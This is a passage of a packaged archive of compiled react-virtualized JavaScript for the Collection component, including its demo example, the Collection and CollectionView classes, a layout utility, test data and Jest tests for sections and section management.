    _this._noContentRenderer = _this._noContentRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onCellCountChange = _this._onCellCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onHeightChange = _this._onHeightChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onHorizontalOverscanSizeChange = _this._onHorizontalOverscanSizeChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScrollToCellChange = _this._onScrollToCellChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onVerticalOverscanSizeChange = _this._onVerticalOverscanSizeChange.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(CollectionExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          cellCount = _this$state.cellCount,
          height = _this$state.height,
          horizontalOverscanSize = _this$state.horizontalOverscanSize,
          scrollToCell = _this$state.scrollToCell,
          showScrollingPlaceholder = _this$state.showScrollingPlaceholder,
          verticalOverscanSize = _this$state.verticalOverscanSize;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "Collection",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Collection/Collection.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Collection.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "Renders scattered or non-linear data. Unlike ", React.createElement("code", null, "Grid"), ", which renders checkerboard data, ", React.createElement("code", null, "Collection"), " can render arbitrarily positioned- even overlapping- data."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _CollectionExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Show placeholder while scrolling?",
        checked: showScrollingPlaceholder,
        className: _CollectionExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            showScrollingPlaceholder: event.target.checked
          });
        }
      }), "Show placeholder while scrolling?")), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Num cells",
        name: "cellCount",
        onChange: this._onCellCountChange,
        value: cellCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to cell",
        name: "onScrollToCell",
        placeholder: "Index...",
        onChange: this._onScrollToCellChange,
        value: scrollToCell || ''
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Height",
        name: "height",
        onChange: this._onHeightChange,
        value: height
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Horizontal Overscan",
        name: "horizontalOverscanSize",
        onChange: this._onHorizontalOverscanSizeChange,
        value: horizontalOverscanSize
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Vertical Overscan",
        name: "verticalOverscanSize",
        onChange: this._onVerticalOverscanSizeChange,
        value: verticalOverscanSize
      })), React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(_Collection["default"], {
          cellCount: cellCount,
          cellRenderer: _this2._cellRenderer,
          cellSizeAndPositionGetter: _this2._cellSizeAndPositionGetter,
          className: _CollectionExample["default"].collection,
          height: height,
          horizontalOverscanSize: horizontalOverscanSize,
          noContentRenderer: _this2._noContentRenderer,
          scrollToCell: scrollToCell,
          verticalOverscanSize: verticalOverscanSize,
          width: width
        });
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var index = _ref2.index,
          isScrolling = _ref2.isScrolling,
          key = _ref2.key,
          style = _ref2.style;
      var list = this.context.list;
      var showScrollingPlaceholder = this.state.showScrollingPlaceholder;
      var datum = list.get(index % list.size); // Customize style

      style.backgroundColor = datum.color;
      return React.createElement("div", {
        className: _CollectionExample["default"].cell,
        key: key,
        style: style
      }, showScrollingPlaceholder && isScrolling ? '...' : index);
    }
  }, {
    key: "_cellSizeAndPositionGetter",
    value: function _cellSizeAndPositionGetter(_ref3) {
      var index = _ref3.index;
      var list = this.context.list;
      var columnCount = this.state.columnCount;
      var columnPosition = index % (columnCount || 1);
      var datum = list.get(index % list.size); // Poor man's Masonry layout; columns won't all line up equally with the bottom.

      var height = datum.size;
      var width = CELL_WIDTH;
      var x = columnPosition * (GUTTER_SIZE + width);
      var y = this._columnYMap[columnPosition] || 0;
      this._columnYMap[columnPosition] = y + height + GUTTER_SIZE;
      return {
        height: height,
        width: width,
        x: x,
        y: y
      };
    }
  }, {
    key: "_getColumnCount",
    value: function _getColumnCount(cellCount) {
      return Math.round(Math.sqrt(cellCount));
    }
  }, {
    key: "_onHorizontalOverscanSizeChange",
    value: function _onHorizontalOverscanSizeChange(event) {
      var horizontalOverscanSize = parseInt(event.target.value, 10) || 0;
      this.setState({
        horizontalOverscanSize: horizontalOverscanSize
      });
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: _CollectionExample["default"].noCells
      }, "No cells");
    }
  }, {
    key: "_onCellCountChange",
    value: function _onCellCountChange(event) {
      var cellCount = parseInt(event.target.value, 10) || 0;
      this._columnYMap = [];
      this.setState({
        cellCount: cellCount,
        columnCount: this._getColumnCount(cellCount)
      });
    }
  }, {
    key: "_onHeightChange",
    value: function _onHeightChange(event) {
      var height = parseInt(event.target.value, 10) || 0;
      this.setState({
        height: height
      });
    }
  }, {
    key: "_onScrollToCellChange",
    value: function _onScrollToCellChange(event) {
      var cellCount = this.state.cellCount;
      var scrollToCell = Math.min(cellCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToCell)) {
        scrollToCell = undefined;
      }

      this.setState({
        scrollToCell: scrollToCell
      });
    }
  }, {
    key: "_onVerticalOverscanSizeChange",
    value: function _onVerticalOverscanSizeChange(event) {
      var verticalOverscanSize = parseInt(event.target.value, 10) || 0;
      this.setState({
        verticalOverscanSize: verticalOverscanSize
      });
    }
  }]);
  return CollectionExample;
}(React.PureComponent);

exports["default"] = CollectionExample;
(0, _defineProperty2["default"])(CollectionExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/Collection/Section.jest.js000064400000003301151677406000013375 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _Section = _interopRequireDefault(require("./Section"));

describe('Section', function () {
  function helper() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$height = _ref.height,
        height = _ref$height === void 0 ? 100 : _ref$height,
        _ref$width = _ref.width,
        width = _ref$width === void 0 ? 200 : _ref$width,
        _ref$x = _ref.x,
        x = _ref$x === void 0 ? 0 : _ref$x,
        _ref$y = _ref.y,
        y = _ref$y === void 0 ? 0 : _ref$y;

    return new _Section["default"]({
      height: height,
      width: width,
      x: x,
      y: y
    });
  }

  it('should add a new cell index', function () {
    var section = helper();
    expect(section.getCellIndices()).toEqual([]);
    section.addCellIndex({
      index: 0
    });
    expect(section.getCellIndices()).toEqual([0]);
    section.addCellIndex({
      index: 1
    });
    expect(section.getCellIndices()).toEqual([0, 1]);
  });
  it('should not add a duplicate cell index', function () {
    var section = helper();
    section.addCellIndex({
      index: 0
    });
    section.addCellIndex({
      index: 1
    });
    section.addCellIndex({
      index: 0
    });
    section.addCellIndex({
      index: 1
    });
    section.addCellIndex({
      index: 2
    });
    expect(section.getCellIndices()).toEqual([0, 1, 2]);
  });
  it('should define a working toString() method for debugging', function () {
    var section = helper({
      height: 100,
      width: 200,
      x: 25,
      y: 50
    });
    expect(section.toString()).toEqual('25,50 200x100');
  });
});commonjs/Collection/utils/calculateSizeAndPositionData.js000064400000003121151677406000017717 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = calculateSizeAndPositionData;

var _SectionManager = _interopRequireDefault(require("../SectionManager"));

function calculateSizeAndPositionData(_ref) {
  var cellCount = _ref.cellCount,
      cellSizeAndPositionGetter = _ref.cellSizeAndPositionGetter,
      sectionSize = _ref.sectionSize;
  var cellMetadata = [];
  var sectionManager = new _SectionManager["default"](sectionSize);
  var height = 0;
  var width = 0;

  for (var index = 0; index < cellCount; index++) {
    var cellMetadatum = cellSizeAndPositionGetter({
      index: index
    });

    if (cellMetadatum.height == null || isNaN(cellMetadatum.height) || cellMetadatum.width == null || isNaN(cellMetadatum.width) || cellMetadatum.x == null || isNaN(cellMetadatum.x) || cellMetadatum.y == null || isNaN(cellMetadatum.y)) {
      throw Error("Invalid metadata returned for cell ".concat(index, ":\n        x:").concat(cellMetadatum.x, ", y:").concat(cellMetadatum.y, ", width:").concat(cellMetadatum.width, ", height:").concat(cellMetadatum.height));
    }

    height = Math.max(height, cellMetadatum.y + cellMetadatum.height);
    width = Math.max(width, cellMetadatum.x + cellMetadatum.width);
    cellMetadata[index] = cellMetadatum;
    sectionManager.registerCell({
      cellMetadatum: cellMetadatum,
      index: index
    });
  }

  return {
    cellMetadata: cellMetadata,
    height: height,
    sectionManager: sectionManager,
    width: width
  };
}commonjs/Collection/utils/calculateSizeAndPositionData.jest.js000064400000002377151677406000020677 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _calculateSizeAndPositionData = _interopRequireDefault(require("./calculateSizeAndPositionData"));

describe('calculateSizeAndPositionData', function () {
  it('should query for size and position of each cell', function () {
    var cellSizeAndPositionGetterCalls = [];

    function cellSizeAndPositionGetter(_ref) {
      var index = _ref.index;
      cellSizeAndPositionGetterCalls.push(index);
      return {
        x: index * 50,
        y: 0,
        width: 50,
        height: 50
      };
    }

    var _calculateSizeAndPosi = (0, _calculateSizeAndPositionData["default"])({
      cellCount: 3,
      cellSizeAndPositionGetter: cellSizeAndPositionGetter
    }),
        sectionManager = _calculateSizeAndPosi.sectionManager;

    expect(cellSizeAndPositionGetterCalls).toEqual([0, 1, 2]);
    expect(sectionManager.getTotalSectionCount()).toEqual(2);
  });
  it('should throw an error if invalid metadata is returned for a cell', function () {
    expect(function () {
      return (0, _calculateSizeAndPositionData["default"])({
        cellCount: 3,
        cellSizeAndPositionGetter: function cellSizeAndPositionGetter() {}
      });
    }).toThrow();
  });
});commonjs/Collection/index.js000064400000000724151677406000012142 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "Collection", {
  enumerable: true,
  get: function get() {
    return _Collection["default"];
  }
});
exports["default"] = void 0;

var _Collection = _interopRequireDefault(require("./Collection"));

var _default = _Collection["default"];
exports["default"] = _default;commonjs/Collection/Collection.js000064400000022735151677406000013134 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CollectionView = _interopRequireDefault(require("./CollectionView"));

var _calculateSizeAndPositionData2 = _interopRequireDefault(require("./utils/calculateSizeAndPositionData"));

var _getUpdatedOffsetForIndex = _interopRequireDefault(require("../utils/getUpdatedOffsetForIndex"));

var _types = require("./types");

/**
 * Renders scattered or non-linear data.
 * Unlike Grid, which renders checkerboard data, Collection can render arbitrarily positioned- even overlapping- data.
 */
var Collection =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(Collection, _React$PureComponent);

  function Collection(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, Collection);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(Collection).call(this, props, context));
    _this._cellMetadata = [];
    _this._lastRenderedCellIndices = []; // Cell cache during scroll (for performance)

    _this._cellCache = [];
    _this._isScrollingChange = _this._isScrollingChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._setCollectionViewRef = _this._setCollectionViewRef.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(Collection, [{
    key: "forceUpdate",
    value: function forceUpdate() {
      if (this._collectionView !== undefined) {
        this._collectionView.forceUpdate();
      }
    }
    /** See Collection#recomputeCellSizesAndPositions */

  }, {
    key: "recomputeCellSizesAndPositions",
    value: function recomputeCellSizesAndPositions() {
      this._cellCache = [];

      this._collectionView.recomputeCellSizesAndPositions();
    }
    /** React lifecycle methods */

  }, {
    key: "render",
    value: function render() {
      var props = (0, _extends2["default"])({}, this.props);
      return React.createElement(_CollectionView["default"], (0, _extends2["default"])({
        cellLayoutManager: this,
        isScrollingChange: this._isScrollingChange,
        ref: this._setCollectionViewRef
      }, props));
    }
    /** CellLayoutManager interface */

  }, {
    key: "calculateSizeAndPositionData",
    value: function calculateSizeAndPositionData() {
      var _this$props = this.props,
          cellCount = _this$props.cellCount,
          cellSizeAndPositionGetter = _this$props.cellSizeAndPositionGetter,
          sectionSize = _this$props.sectionSize;
      var data = (0, _calculateSizeAndPositionData2["default"])({
        cellCount: cellCount,
        cellSizeAndPositionGetter: cellSizeAndPositionGetter,
        sectionSize: sectionSize
      });
      this._cellMetadata = data.cellMetadata;
      this._sectionManager = data.sectionManager;
      this._height = data.height;
      this._width = data.width;
    }
    /**
     * Returns the most recently rendered set of cell indices.
     */

  }, {
    key: "getLastRenderedIndices",
    value: function getLastRenderedIndices() {
      return this._lastRenderedCellIndices;
    }
    /**
     * Calculates the minimum amount of change from the current scroll position to ensure the specified cell is (fully) visible.
     */

  }, {
    key: "getScrollPositionForCell",
    value: function getScrollPositionForCell(_ref) {
      var align = _ref.align,
          cellIndex = _ref.cellIndex,
          height = _ref.height,
          scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          width = _ref.width;
      var cellCount = this.props.cellCount;

      if (cellIndex >= 0 && cellIndex < cellCount) {
        var cellMetadata = this._cellMetadata[cellIndex];
        scrollLeft = (0, _getUpdatedOffsetForIndex["default"])({
          align: align,
          cellOffset: cellMetadata.x,
          cellSize: cellMetadata.width,
          containerSize: width,
          currentOffset: scrollLeft,
          targetIndex: cellIndex
        });
        scrollTop = (0, _getUpdatedOffsetForIndex["default"])({
          align: align,
          cellOffset: cellMetadata.y,
          cellSize: cellMetadata.height,
          containerSize: height,
          currentOffset: scrollTop,
          targetIndex: cellIndex
        });
      }

      return {
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      };
    }
  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      return {
        height: this._height,
        width: this._width
      };
    }
  }, {
    key: "cellRenderers",
    value: function cellRenderers(_ref2) {
      var _this2 = this;

      var height = _ref2.height,
          isScrolling = _ref2.isScrolling,
          width = _ref2.width,
          x = _ref2.x,
          y = _ref2.y;
      var _this$props2 = this.props,
          cellGroupRenderer = _this$props2.cellGroupRenderer,
          cellRenderer = _this$props2.cellRenderer; // Store for later calls to getLastRenderedIndices()

      this._lastRenderedCellIndices = this._sectionManager.getCellIndices({
        height: height,
        width: width,
        x: x,
        y: y
      });
      return cellGroupRenderer({
        cellCache: this._cellCache,
        cellRenderer: cellRenderer,
        cellSizeAndPositionGetter: function cellSizeAndPositionGetter(_ref3) {
          var index = _ref3.index;
          return _this2._sectionManager.getCellMetadata({
            index: index
          });
        },
        indices: this._lastRenderedCellIndices,
        isScrolling: isScrolling
      });
    }
  }, {
    key: "_isScrollingChange",
    value: function _isScrollingChange(isScrolling) {
      if (!isScrolling) {
        this._cellCache = [];
      }
    }
  }, {
    key: "_setCollectionViewRef",
    value: function _setCollectionViewRef(ref) {
      this._collectionView = ref;
    }
  }]);
  return Collection;
}(React.PureComponent);

exports["default"] = Collection;
(0, _defineProperty2["default"])(Collection, "defaultProps", {
  'aria-label': 'grid',
  cellGroupRenderer: defaultCellGroupRenderer
});
Collection.propTypes = process.env.NODE_ENV !== "production" ? {
  'aria-label': _propTypes["default"].string,

  /**
   * Number of cells in Collection.
   */
  cellCount: _propTypes["default"].number.isRequired,

  /**
   * Responsible for rendering a group of cells given their indices.
   * Should implement the following interface: ({
   *   cellSizeAndPositionGetter:Function,
   *   indices: Array<number>,
   *   cellRenderer: Function
   * }): Array<PropTypes.node>
   */
  cellGroupRenderer: _propTypes["default"].func.isRequired,

  /**
   * Responsible for rendering a cell given an row and column index.
   * Should implement the following interface: ({ index: number, key: string, style: object }): PropTypes.element
   */
  cellRenderer: _propTypes["default"].func.isRequired,

  /**
   * Callback responsible for returning size and offset/position information for a given cell (index).
   * ({ index: number }): { height: number, width: number, x: number, y: number }
   */
  cellSizeAndPositionGetter: _propTypes["default"].func.isRequired,

  /**
   * Optionally override the size of the sections a Collection's cells are split into.
   */
  sectionSize: _propTypes["default"].number
} : {};

function defaultCellGroupRenderer(_ref4) {
  var cellCache = _ref4.cellCache,
      cellRenderer = _ref4.cellRenderer,
      cellSizeAndPositionGetter = _ref4.cellSizeAndPositionGetter,
      indices = _ref4.indices,
      isScrolling = _ref4.isScrolling;
  return indices.map(function (index) {
    var cellMetadata = cellSizeAndPositionGetter({
      index: index
    });
    var cellRendererProps = {
      index: index,
      isScrolling: isScrolling,
      key: index,
      style: {
        height: cellMetadata.height,
        left: cellMetadata.x,
        position: 'absolute',
        top: cellMetadata.y,
        width: cellMetadata.width
      }
    }; // Avoid re-creating cells while scrolling.
    // This can lead to the same cell being created many times and can cause performance issues for "heavy" cells.
    // If a scroll is in progress- cache and reuse cells.
    // This cache will be thrown away once scrolling complets.

    if (isScrolling) {
      if (!(index in cellCache)) {
        cellCache[index] = cellRenderer(cellRendererProps);
      }

      return cellCache[index];
    } else {
      return cellRenderer(cellRendererProps);
    }
  }).filter(function (renderedCell) {
    return !!renderedCell;
  });
}commonjs/Collection/TestData.js000064400000001754151677406000012550 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.SECTION_SIZE = exports.CELLS = void 0;

/*
  0 1 2 3 4 5
 ┏━━━┯━━━┯━━━┓
0┃0 0┊1 3┊6 6┃
1┃0 0┊2 3┊6 6┃
 ┠┈┈┈┼┈┈┈┼┈┈┈┨
2┃4 4┊4 3┊7 8┃
3┃4 4┊4 5┊9 9┃
 ┗━━━┷━━━┷━━━┛

Sections to Cells map:
 0.0 [0]
 1.0 [1, 2, 3]
 2.0 [6]
 0.1 [4]
 1.1 [3, 4, 5]
 2.1 [7, 8, 9]
*/
var CELLS = [{
  x: 0,
  y: 0,
  width: 2,
  height: 2
}, {
  x: 2,
  y: 0,
  width: 1,
  height: 1
}, {
  x: 2,
  y: 1,
  width: 1,
  height: 1
}, {
  x: 3,
  y: 0,
  width: 1,
  height: 3
}, {
  x: 0,
  y: 2,
  width: 3,
  height: 2
}, {
  x: 3,
  y: 3,
  width: 1,
  height: 1
}, {
  x: 4,
  y: 0,
  width: 2,
  height: 2
}, {
  x: 4,
  y: 2,
  width: 1,
  height: 1
}, {
  x: 5,
  y: 2,
  width: 1,
  height: 1
}, {
  x: 4,
  y: 3,
  width: 2,
  height: 1
}];
exports.CELLS = CELLS;
var SECTION_SIZE = 2;
exports.SECTION_SIZE = SECTION_SIZE;commonjs/Collection/SectionManager.jest.js000064400000005501151677406000014674 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _SectionManager = _interopRequireDefault(require("./SectionManager"));

var _TestData = require("./TestData");

function initSectionManager() {
  var sectionManager = new _SectionManager["default"](_TestData.SECTION_SIZE);

  _TestData.CELLS.forEach(function (cellMetadatum, index) {
    sectionManager.registerCell({
      cellMetadatum: cellMetadatum,
      index: index
    });
  });

  return sectionManager;
}

function verifySections(sectionManager, sizeAndPosition, expectedSizeAndPositionInfos) {
  var sections = sectionManager.getSections(sizeAndPosition);
  expect(sections.length).toEqual(expectedSizeAndPositionInfos.length);
  expectedSizeAndPositionInfos.forEach(function (sizeAndPosition) {
    var match = sections.find(function (section) {
      return section.x === sizeAndPosition.x && section.y === sizeAndPosition.y;
    });
    expect(!!match).toEqual(true);
  });
}

describe('SectionManager', function () {
  it('creates the appropriate number of Sections', function () {
    var sectionManager = initSectionManager();
    expect(sectionManager.getTotalSectionCount()).toEqual(6);
  });
  it('returns the proper Sections based on the specified area', function () {
    var sectionManager = initSectionManager();
    verifySections(sectionManager, {
      x: 0,
      y: 0,
      width: 1,
      height: 1
    }, [{
      x: 0,
      y: 0
    }]);
    verifySections(sectionManager, {
      x: 1,
      y: 1,
      width: 1,
      height: 1
    }, [{
      x: 0,
      y: 0
    }]);
    verifySections(sectionManager, {
      x: 0,
      y: 0,
      width: 4,
      height: 4
    }, [{
      x: 0,
      y: 0
    }, {
      x: 2,
      y: 0
    }, {
      x: 0,
      y: 2
    }, {
      x: 2,
      y: 2
    }]);
    verifySections(sectionManager, {
      x: 4,
      y: 0,
      width: 2,
      height: 3
    }, [{
      x: 4,
      y: 0
    }, {
      x: 4,
      y: 2
    }]);
  });
  it('assigns cells to the appropriate sections', function () {
    var sectionManager = initSectionManager();
    expect(sectionManager.getCellIndices({
      x: 0,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([0]);
    expect(sectionManager.getCellIndices({
      x: 2,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([1, 2, 3]);
    expect(sectionManager.getCellIndices({
      x: 4,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([6]);
    expect(sectionManager.getCellIndices({
      x: 0,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([4]);
    expect(sectionManager.getCellIndices({
      x: 2,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([3, 4, 5]);
    expect(sectionManager.getCellIndices({
      x: 4,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([7, 8, 9]);
  });
});commonjs/Collection/CollectionView.js000064400000061545151677406000013771 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _clsx = _interopRequireDefault(require("clsx"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _reactLifecyclesCompat = require("react-lifecycles-compat");

var _createCallbackMemoizer = _interopRequireDefault(require("../utils/createCallbackMemoizer"));

var _scrollbarSize = _interopRequireDefault(require("dom-helpers/scrollbarSize"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

// @TODO Merge Collection and CollectionView

/**
 * Specifies the number of milliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */
var IS_SCROLLING_TIMEOUT = 150;
/**
 * Controls whether the Grid updates the DOM element's scrollLeft/scrollTop based on the current state or just observes it.
 * This prevents Grid from interrupting mouse-wheel animations (see issue #2).
 */

var SCROLL_POSITION_CHANGE_REASONS = {
  OBSERVED: 'observed',
  REQUESTED: 'requested'
};
/**
 * Monitors changes in properties (eg. cellCount) and state (eg. scroll offsets) to determine when rendering needs to occur.
 * This component does not render any visible content itself; it defers to the specified :cellLayoutManager.
 */

var CollectionView =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(CollectionView, _React$PureComponent);

  // Invokes callbacks only when their values have changed.
  function CollectionView() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, CollectionView);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(CollectionView)).call.apply(_getPrototypeOf2, [this].concat(args))); // If this component is being rendered server-side, getScrollbarSize() will return undefined.
    // We handle this case in componentDidMount()

    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      isScrolling: false,
      scrollLeft: 0,
      scrollTop: 0
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_calculateSizeAndPositionDataOnNextUpdate", false);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onSectionRenderedMemoizer", (0, _createCallbackMemoizer["default"])());
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollMemoizer", (0, _createCallbackMemoizer["default"])(false));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_invokeOnSectionRenderedHelper", function () {
      var _this$props = _this.props,
          cellLayoutManager = _this$props.cellLayoutManager,
          onSectionRendered = _this$props.onSectionRendered;

      _this._onSectionRenderedMemoizer({
        callback: onSectionRendered,
        indices: {
          indices: cellLayoutManager.getLastRenderedIndices()
        }
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_updateScrollPositionForScrollToCell", function () {
      var _this$props2 = _this.props,
          cellLayoutManager = _this$props2.cellLayoutManager,
          height = _this$props2.height,
          scrollToAlignment = _this$props2.scrollToAlignment,
          scrollToCell = _this$props2.scrollToCell,
          width = _this$props2.width;
      var _this$state = _this.state,
          scrollLeft = _this$state.scrollLeft,
          scrollTop = _this$state.scrollTop;

      if (scrollToCell >= 0) {
        var scrollPosition = cellLayoutManager.getScrollPositionForCell({
          align: scrollToAlignment,
          cellIndex: scrollToCell,
          height: height,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          width: width
        });

        if (scrollPosition.scrollLeft !== scrollLeft || scrollPosition.scrollTop !== scrollTop) {
          _this._setScrollPosition(scrollPosition);
        }
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScroll", function (event) {
      // In certain edge-cases React dispatches an onScroll event with an invalid target.scrollLeft / target.scrollTop.
      // This invalid event can be detected by comparing event.target to this component's scrollable DOM element.
      // See issue #404 for more information.
      if (event.target !== _this._scrollingContainer) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      _this._enablePointerEventsAfterDelay(); // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scrollTop never exceeds the total height.


      var _this$props3 = _this.props,
          cellLayoutManager = _this$props3.cellLayoutManager,
          height = _this$props3.height,
          isScrollingChange = _this$props3.isScrollingChange,
          width = _this$props3.width;
      var scrollbarSize = _this._scrollbarSize;

      var _cellLayoutManager$ge = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge.height,
          totalWidth = _cellLayoutManager$ge.width;

      var scrollLeft = Math.max(0, Math.min(totalWidth - width + scrollbarSize, event.target.scrollLeft));
      var scrollTop = Math.max(0, Math.min(totalHeight - height + scrollbarSize, event.target.scrollTop)); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.

      if (_this.state.scrollLeft !== scrollLeft || _this.state.scrollTop !== scrollTop) {
        // Browsers with cancelable scroll events (eg. Firefox) interrupt scrolling animations if scrollTop/scrollLeft is set.
        // Other browsers (eg. Safari) don't scroll as well without the help under certain conditions (DOM or style changes during scrolling).
        // All things considered, this seems to be the best current work around that I'm aware of.
        // For more information see https://github.com/bvaughn/react-virtualized/pull/124
        var scrollPositionChangeReason = event.cancelable ? SCROLL_POSITION_CHANGE_REASONS.OBSERVED : SCROLL_POSITION_CHANGE_REASONS.REQUESTED; // Synchronously set :isScrolling the first time (since _setNextState will reschedule its animation frame each time it's called)

        if (!_this.state.isScrolling) {
          isScrollingChange(true);
        }

        _this.setState({
          isScrolling: true,
          scrollLeft: scrollLeft,
